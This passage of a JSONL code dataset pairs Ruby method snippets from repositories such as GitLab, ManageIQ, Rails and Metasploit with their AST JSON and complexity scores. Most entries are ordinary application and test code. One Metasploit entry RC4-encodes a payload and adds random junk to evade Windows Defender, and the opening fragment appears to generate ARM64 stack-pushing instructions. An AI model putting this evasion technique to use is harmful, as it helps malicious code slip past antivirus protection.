ldren\":[\"b\"]}]}]},\"join\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mov\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"z\"]},{\"type\":\"str\",\"children\":[\"k\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"str\",\"children\":[\", #0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\", lsl #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"*\",{\"type\":\"int\",\"children\":[16]}]}]}]}]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mov_instructions\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"str \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"str\",\"children\":[\", [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stack\"]}]},{\"type\":\"str\",\"children\":[\"], #8\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"set_target_register\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mov \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stack\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sub \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"str\",\"children\":[\", #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"align\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"bytesize\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push_string\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"set_target_register\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"8dfa91e7-5202-40d7-98db-a22adad82d31"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/tenant_quota.rb","start_line":170,"raw_source":"def check_for_over_allocation\n    return unless value_changed?\n\n    # Root tenant has no (unlimited) quota\n    # First level tenant can also have unlimited quota\n    return if tenant.root? || tenant.parent.root?\n\n    oval, nval = changes[\"value\"]\n\n    # Check that the new value is >= the amount that was already allocated to child tenants\n    if nval < allocated\n      errors.add(name, \"quota is over allocated, #{nval} was requested but only #{nval - allocated} is available\")\n      return\n    end\n\n    # Check that new quota is a least as much as was already used\n    if nval < used\n      errors.add(name, \"quota is under allocated, #{nval} was requested but #{used} has already been used\")\n      return\n    end\n\n    diff = (nval || 0) - (oval || 0)\n\n    # Check if the parent has enough quota available to give to the child\n    parent_quota = tenant.parent.tenant_quotas.send(name).take\n    unless parent_quota.nil?\n      if parent_quota.available < diff\n        errors.add(name, \"quota is over allocated, parent tenant does not have enough quota\")\n      end\n    end\n  end","complexity_score":60.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_over_allocation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value_changed?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tenant\"]},\"root?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tenant\"]},\"parent\"]},\"root?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oval\"]},{\"type\":\"lvasgn\",\"children\":[\"nval\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nval\"]},\"<\",{\"type\":\"send\",\"children\":[null,\"allocated\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"quota is over allocated, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nval\"]}]},{\"type\":\"str\",\"children\":[\" was requested but only \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nval\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"allocated\"]}]}]},{\"type\":\"str\",\"children\":[\" is available\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nval\"]},\"<\",{\"type\":\"send\",\"children\":[null,\"used\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"quota is under allocated, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nval\"]}]},{\"type\":\"str\",\"children\":[\" was requested but \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"used\"]}]},{\"type\":\"str\",\"children\":[\" has already been used\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nval\"]},{\"type\":\"int\",\"children\":[0]}]}]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oval\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parent_quota\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tenant\"]},\"parent\"]},\"tenant_quotas\"]},\"send\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},\"take\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_quota\"]},\"nil?\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_quota\"]},\"available\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"diff\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"str\",\"children\":[\"quota is over allocated, parent tenant does not have enough quota\"]}]},null]}]}]}]}","id":"e9a49b24-2ae2-4e99-9518-b5d7baa727d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/suggestions/file_suggestion_spec.rb","start_line":6,"raw_source":"def create_suggestion(new_line, to_content, lines_above = 0, lines_below = 0)\n    position = Gitlab::Diff::Position.new(old_path: file_path,\n      new_path: file_path,\n      old_line: nil,\n      new_line: new_line,\n      diff_refs: merge_request.diff_refs)\n\n    diff_note = create(:diff_note_on_merge_request,\n      noteable: merge_request,\n      position: position,\n      project: project)\n\n    create(:suggestion,\n      :content_from_repo,\n      note: diff_note,\n      lines_above: lines_above,\n      lines_below: lines_below,\n      to_content: to_content)\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_suggestion\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_line\"]},{\"type\":\"arg\",\"children\":[\"to_content\"]},{\"type\":\"optarg\",\"children\":[\"lines_above\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"lines_below\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"position\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"Position\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_path\"]},{\"type\":\"send\",\"children\":[null,\"file_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_path\"]},{\"type\":\"send\",\"children\":[null,\"file_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_line\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_line\"]},{\"type\":\"lvar\",\"children\":[\"new_line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"diff_refs\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_note\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"diff_note_on_merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"merge_request\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"position\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"suggestion\"]},{\"type\":\"sym\",\"children\":[\"content_from_repo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"lvar\",\"children\":[\"diff_note\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lines_above\"]},{\"type\":\"lvar\",\"children\":[\"lines_above\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lines_below\"]},{\"type\":\"lvar\",\"children\":[\"lines_below\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_content\"]},{\"type\":\"lvar\",\"children\":[\"to_content\"]}]}]}]}]}]}","id":"94f21458-f0f3-4e7a-bd1d-8594be1ce7d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/banzai/filter/video_link_filter_spec.rb","start_line":14,"raw_source":"def link_to_image(path, height = nil, width = nil)\n    return '<img/>' if path.nil?\n\n    attrs = %(src=\"#{path}\")\n    attrs += %( width=\"#{width}\") if width\n    attrs += %( height=\"#{height}\") if height\n\n    %(<img #{attrs}/>)\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"link_to_image\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"height\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"width\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"<img/>\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"src=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"width\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" width=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"width\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"height\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" height=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"height\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<img \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]}]},{\"type\":\"str\",\"children\":[\"/>\"]}]}]}]}","id":"944d6b8c-5ded-49b8-a8a5-2b96e9e1bfe3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_import/importers/issue_notes_importer.rb","start_line":47,"raw_source":"def comment_note(comment)\n          note = ''\n          note += formatter.author_line(comment.author_nickname) unless user_finder.find_user_id(comment.author)\n          note += ref_converter.convert_note(comment.note)\n\n          mentions_converter.convert(note)\n        end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_finder\"]},\"find_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"author\"]}]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"note\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatter\"]},\"author_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"author_nickname\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"note\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ref_converter\"]},\"convert_note\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"note\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mentions_converter\"]},\"convert\",{\"type\":\"lvar\",\"children\":[\"note\"]}]}]}]}","id":"0e200b4c-445a-43aa-98e6-0fc90426318a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration_test.rb","start_line":1039,"raw_source":"def test_generate_migrator_advisory_lock_id\n      # It is important we are consistent with how we generate this so that\n      # exclusive locking works across migrator versions\n      migration = Class.new(ActiveRecord::Migration::Current).new\n      migrator = ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata, 100)\n\n      lock_id = migrator.send(:generate_migrator_advisory_lock_id)\n\n      current_database = ActiveRecord::Base.lease_connection.current_database\n      salt = ActiveRecord::Migrator::MIGRATOR_SALT\n      expected_id = Zlib.crc32(current_database) * salt\n\n      assert lock_id == expected_id, \"expected lock id generated by the migrator to be #{expected_id}, but it was #{lock_id} instead\"\n      assert lock_id.bit_length <= 63, \"lock id must be a signed integer of max 63 bits magnitude\"\n    end","complexity_score":23.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_migrator_advisory_lock_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"Current\"]}]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migrator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]},{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lock_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"send\",{\"type\":\"sym\",\"children\":[\"generate_migrator_advisory_lock_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_database\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"current_database\"]}]},{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"MIGRATOR_SALT\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"crc32\",{\"type\":\"lvar\",\"children\":[\"current_database\"]}]},\"*\",{\"type\":\"lvar\",\"children\":[\"salt\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock_id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"expected_id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected lock id generated by the migrator to be \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_id\"]}]},{\"type\":\"str\",\"children\":[\", but it was \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock_id\"]}]},{\"type\":\"str\",\"children\":[\" instead\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock_id\"]},\"bit_length\"]},\"<=\",{\"type\":\"int\",\"children\":[63]}]},{\"type\":\"str\",\"children\":[\"lock id must be a signed integer of max 63 bits magnitude\"]}]}]}]}","id":"a6033049-20ad-4b95-a042-264d7a9c2459"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/configuration.rb","start_line":72,"raw_source":"def raw_disconnect_floppies\n    raise NotImplementedError, _(\"must be implemented in a subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_disconnect_floppies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"must be implemented in a subclass\"]}]}]}]}","id":"ae287e31-c320-4edd-865f-fc68a50679ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/ignored_model_columns.rb","start_line":36,"raw_source":"def find_line_number(file_lines, searched_line, exclude_indexes: [])\n        lines_to_search = up_method_lines(file_lines)\n\n        _, index = file_lines.each_with_index.find do |file_line, index|\n          next unless lines_to_search.include?(index)\n\n          file_line == searched_line && !exclude_indexes.include?(index)\n        end\n\n        index\n      end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_line_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_lines\"]},{\"type\":\"arg\",\"children\":[\"searched_line\"]},{\"type\":\"kwoptarg\",\"children\":[\"exclude_indexes\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lines_to_search\",{\"type\":\"send\",\"children\":[null,\"up_method_lines\",{\"type\":\"lvar\",\"children\":[\"file_lines\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"index\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_lines\"]},\"each_with_index\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_line\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines_to_search\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_line\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"searched_line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclude_indexes\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},\"!\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}","id":"552c1abb-e7c5-471f-b0a8-b3d7d2d4f149"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/evasion/windows/windows_defender_exe.rb","start_line":37,"raw_source":"def get_payload\n    @get_payload ||= lambda {\n      opts = { format: 'rc4', key: rc4_key }\n      junk = Rex::Text.rand_text(10..1024)\n      p = payload.encoded + junk\n\n      return {\n        size: p.length,\n        c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)\n      }\n    }.call\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@get_payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"rc4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"rc4_key\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"junk\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[1024]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"junk\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Simple\"]},\"Buffer\"]},\"transform\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"str\",\"children\":[\"buf\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}]}]},\"call\"]}]}]}","id":"c11b7d82-4a9b-438f-8f07-d9f3a74e7b35"}
{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/lib/zeitwerk/loader.rb","start_line":342,"raw_source":"def unloadable_cpaths\n      to_unload.values.map(&:path)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"unloadable_cpaths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_unload\"]},\"values\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]}","id":"fee9c1cc-c04b-44c3-b9b3-f3c18e5ff157"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/update_service.rb","start_line":111,"raw_source":"def publish_event(members)\n      return if members.empty?\n\n      Gitlab::EventStore.publish(\n        Members::UpdatedEvent.new(\n          data: {\n            source_id: source.id,\n            source_type: source.class.name,\n            user_ids: members.filter_map(&:user_id)\n          }\n        )\n      )\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"members\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EventStore\"]},\"publish\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"UpdatedEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"filter_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}]}]}]}]}]}]}","id":"ffe50904-03cb-42c1-87ed-458f70483601"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":399,"raw_source":"def self.model_from_emstype(emstype)\n    emstype = emstype.downcase\n    ExtManagementSystem.concrete_subclasses.detect { |k| k.ems_type == emstype }\n  